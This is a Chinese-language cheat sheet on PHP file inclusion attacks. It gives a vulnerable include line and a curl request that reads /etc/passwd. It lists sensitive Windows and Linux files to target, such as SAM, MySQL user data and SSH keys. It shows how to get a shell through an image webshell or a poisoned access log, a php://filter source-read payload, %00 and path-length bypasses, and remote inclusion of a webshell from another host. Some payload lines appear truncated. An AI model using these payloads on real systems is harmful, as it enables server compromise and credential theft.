本地文件包含
1 | include($_GET['file']); |
文件读取
本地文件包含可以作为文件读取使用:
1 | $ curl http://127.0.0.1/include.php?file=/etc/passwd |
可读如下敏感文件:
- Windows:
- C:\boot.ini //查看系统版本
- C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
- C:\Windows\repair\sam //存储系统初次安装的密码
- C:\Program Files\mysql\my.ini //Mysql配置
- C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
- C:\Windows\php.ini //php配置信息
- C:\Windows\my.ini //Mysql配置信息
- Linux:
- ~/.ssh/authorized_keys
- /etc/passwd
- /etc/my.cnf
- /etc/httpd/conf/httpd.conf
- /var/log/apache2/access.log
- /var/log/httpd/access_log
包含图片马GetShell
首先上传图片马img.gif:
1 | GIF89a phpinfo(); |
然后包含图片马,后缀名无限制:
包含日志GetShell
先访问/include.php?file=<?=`ls`?>
,将命令写入日志。
再包含日志GetShell:
php://filter
php://filter
可以用来结合base64读取php源代码,payload为:php://filter/read=convert.base64-encode/resource=include.php
绕过限制
- %00截断
- ?file=../../../etc/pwd%00
- 路径长度阶段
- ?file=../../../etc/pwd/././.[…]/././.
- ?file=../../../boot.ini/….[…]………
远程文件包含
需要All_url_fopen=On(默认开启)和Allow_url_include=On(默认关闭)
直接包含远程一句话
1 | /include.php?file=http://127.0.0.2/a.txt |
a.txt:
1 | ") ?> |
php://input
php://input
可以将post部分请求作为一个php的只读文件流
生成一句话payload:
1 | ") ?> |